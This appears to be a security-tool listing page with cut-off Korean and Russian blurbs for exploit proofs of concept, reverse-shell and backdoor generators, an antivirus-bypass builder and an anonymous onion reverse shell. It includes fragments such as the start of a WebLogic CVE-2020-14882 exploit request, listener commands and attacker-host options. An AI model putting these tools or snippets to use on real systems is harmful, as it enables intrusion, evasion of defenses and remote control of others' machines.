CVE-2020-14882

CVE-2020-14882 coherence shellsession calc.exe root@kitploit: import requests url = 'http://:/console/images/%252E%252E%252Fconsole.portal' \ '?nfpb=true&pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession' ...

cve-2022-31898

cve-2022-31898 CVE-2022-31898에 대한 익스플로잇 POC 코드로, 3.215 미만 펌웨어의 GL-iNet 라우터에서 발생하는 명령 삽입 취약점입니다. 사용법 root@kitploit: ./cve-2022-31898.py -h usage: cve-2022-31898.py -h -R RHOST -P RPORT -L LHOST -l LPORT -p PWD -t options: -h, --help show this help message and exit -R RHOST, --rhost RHOST IP/hostna...

AVBypass

обход защиты антивируса требования установленный golang использование root@kitploit: 1 - create your payload go run create.go e.g: go run create.go 1.1.1.1 443 SecRetkira https://www.youtube.com/watch?v=Rv4VzpGCEEM 2 - in output folder you will find shell.go compile it go build shell.go 3 - now y...

CVE-2025-46271-Reverse-Shell-PoC

CVE-2025-46271-Reverse-Shell-PoC 면책 조항 이 저장소는 교육 목적으로만 제공됩니다. 여기에 제공된 정보는 개발자가 취약점을 이해하고 시스템을 보호하는 데 도움을 주기 위한 것입니다. 이 익스플로잇을 악의적으로 또는 허가 없이 사용하지 마십시오. 이 PoC를 사용하는 것은 본인의 책임입니다. 저자는 이 정보의 사용으로 인해 발생할 수 있는 손해나 법적 문제에 대해 책임을 지지 않습니다...

cve-2025-24893

CVE-2025-24893 XWiki RCE 익스플로잇 CVE-2025-24893 를 익스플로잇하는 간단한 Python3 스크립트입니다. 이는 XWiki 플랫폼의 원격 코드 실행 취약점으로, Groovy 기반 비동기 매크로와 설정 가능한 리버스 셸 페이로드를 사용합니다. ⚠️ 경고: 이 도구는 교육 및 승인된 테스트 목적으로만 제공됩니다. 소유하지 않거나 명시적 허가 없이 시스템에 대해 무단 사용하는 것은 불법적이고 비윤리적입니다. 목차 기능 요구 사항 설치 사용법 감지 및 프로토콜 대체 리버스 셸 페이로드 라이선스 면책 조항...

Shell3er

Shell3er Shell3er — обратная оболочка PowerShell Возможности обратной оболочки Shell3er Функция Get-RandomProcessName Функция Get-RandomProcessName генерирует случайное имя процесса, объединяя «PS» с новым GUID. Это используется для создания уникальных и внешне случайных имён процессов, что...

CVE-2023-41425-RCE-WonderCMS-4.3.2

🚨 WonderCMS RCE 익스플로잇 도구 CVE-2023-41425 이 Python 기반 공격 보안 도구는 WonderCMS 4.3.2 의 원격 코드 실행RCE 취약점CVE-2023-41425을 자동으로 익스플로잇합니다. 악성 ZIP 테마 모듈을 제작하고 JavaScript 기반 XSS 페이로드 를 전달하여 관리자 세션을 탈취하고 PHP 리버스 셸을 배포하는 과정을 간소화합니다. ⚠️ 교육 및 승인된 보안 테스트 목적으로만 사용하세요. 📚 목차 ⚙️ 기능 📥 설치 및 요구 사항 🚀 사용 예제 🧾 인수 참조 🧠 상세 워크플로우...

python-hacklib

hacklib Инструментарий для энтузиастов хакинга, использующих Python. hacklib — это модуль Python для энтузиастов хакинга, интересующихся сетевой безопасностью. Он больше не находится в активной разработке. Установка Чтобы получить hacklib, просто выполните в командной строке: root@kitploit: pip...

GoSH

GoSH Golang 역방향/바인드 쉘 생성기 설명 이 도구는 대상 호스트에서 원하는 유형의 쉘을 실행하는 Go 바이너리를 생성합니다. 쉘 바이너리는 여러 플랫폼용으로 컴파일될 수 있으며, 부분적 다형성고유한 함수 이름을 지원하고 기본 TCP 대신 UDP 프로토콜을 사용할 수 있습니다. 설정된 연결을 통해 DELETE 명령을 보내면 쉘 바이너리는 실행된 호스트에서 스스로 제거됩니다. 라이선스 이 소프트웨어는 MIT 라이선스에 따라 제공됩니다...

CVE-2014-6271-SHELLSHOCK

CVE-2014-6271-SHELLSHOCK 🐚 Скрипт эксплуатации Shellshock 🎯💻🔍 Этот Python-скрипт эксплуатирует уязвимость Shellshock CVE-2014-6271 для удаленного выполнения команд или установки обратной оболочки на уязвимой цели. 🛠️⚠️ ⚠ Отказ от ответственности 🚨❗ Этот скрипт предназначен только для...

CVE-2022-46169

CVE-2022-46169 Этот репозиторий содержит PoC для CVE-2022-46169 — неаутентифицированное удаленное выполнение кода на Cacti = 1.2.22. Подробнее об уязвимости можно прочитать здесь. Скрипт добавляет обработчик обратной оболочки и основан на коде, написанном sAsPeCt488. Оригинальный код можно...

tippa-my-tongue

Tippa My Tongue Tippa My Tongue은 CVE-2022-1388 및 CVE-2022-41800을 사용하여 F5 BIG-IP 제품에 root 리버스 셸을 설정하는 익스플로잇입니다. 대부분의 CVE-2022-1388 익스플로잇은 /mgmt/tm/util/bash를 사용하여 코드 실행을 달성합니다. 그러나 이 익스플로잇은 /mgmt/shared/iapp/rpm-spec-creator를 사용한 후 /mgmt/shared/iapp/build-package를 사용합니다. 이 접근 방식은 Ron Bowes가 이...

CVE-2023-37903

CVE-2023-37903 Эксплойт для CVE-2023-37903 Proof Of Concept & Reverse Shell CVE обнаружено: SeungHyun Lee...

CVE-2015-1578

CVE-2015-1578 Achat 0.150 beta7 - 원격 버퍼 오버플로우 재작성 python3, PNPT 과정용 원본: 작성자 KAhara MAnhara 재작성: python3, Giuseppe Aloisi Achat 0.150 beta7 - 버퍼 오버플로우 Windows 7 32bit에서 테스트됨 https://www.exploit-db.com/exploits/36025 스크립트가 리버스 셸을 제공하는 데 몇 초 정도 기다리십시오... 코드에서 msfvenom 명령어 실행 msfvenom -a x86 --platfo...

sh1mazu

Shimazu 4.0 - 코드명 met@rpet@r OS 취약점을 익스플로잇하기 위한 자동 역방향 백도어 셸 프로그램입니다...

CVE-2021-25646-exp

CVE-2021-25646-exp Apache druid CVE-2021-25646 원격 코드 실행 취약점 탐지, 이용 도구 도메인 또는 IP:포트를 입력하면 취약점 탐지 가능 취약점이 탐지된 대상에 대해 명령 실행 이용 가능 단일 대상 지원 문서에서 줄 단위로 여러 대상 읽기 지원 （실습장 시연） 취약점 탐지 취약점 이용, id 명령 실행 리버스 셸 리버스 셸 명령은 큰따옴표로 묶어야 합니다. 그렇지 않으면 오류가 발생합니다. 약간의 지연 후, 성공적으로 리버스 셸 획득...

CVE-2024-24590-ClearML-RCE-CMD-POC

Сценарий эксплуатации ClearML Этот репозиторий содержит сценарий эксплуатации на Python для CVE-2024-24590. Сценарий предназначен для загрузки вредоносного pickle-файла в ClearML, который выполняет обратную оболочку или произвольную команду. Возможности Загружает вредоносный pickle-артефакт в...

CVE-2025-49619

CVE-2025-49619 PoC 이 스크립트는 Skyvern의 CVE-2025-49619 취약점을 악용하여 리버스 셸 명령을 실행합니다. 작성자 이름: Cristian Branet GitHub: cristibtz 사용법 1. 리스너 시작 root@kitploit: nc -lvnp 2. 익스플로잇 실행 root@kitploit: python3 exploit.py -u "http://:" -k "" -i -p : Skyvern 서버 IP : Skyvern 서버 포트 : 본인의 Skyvern API 키 설정 → API 키 :...

Zerodoor

ZeroDoor Сценарий, написанный на скорую руку для генерации обратных оболочек reverse shell backdoors на ходу, когда они вам понадобятся, без лишних хлопот для ежедневных нужд пентеста. Эти бэкдоры — не шпионские технологии уровня Джеймса Бонда, а скорее простые, чтобы избежать чрезмерной...

tornado

tornado анонимный обратный шелл через луковую сеть с использованием скрытых сервисов без перенаправления портов Изучить документацию полностью необнаруживаемый обратный шелл · Посмотреть демо · пуленепробиваемая анонимность Содержание 1. Что такое tornado? 2. Сделано с помощью 3. Начало работы...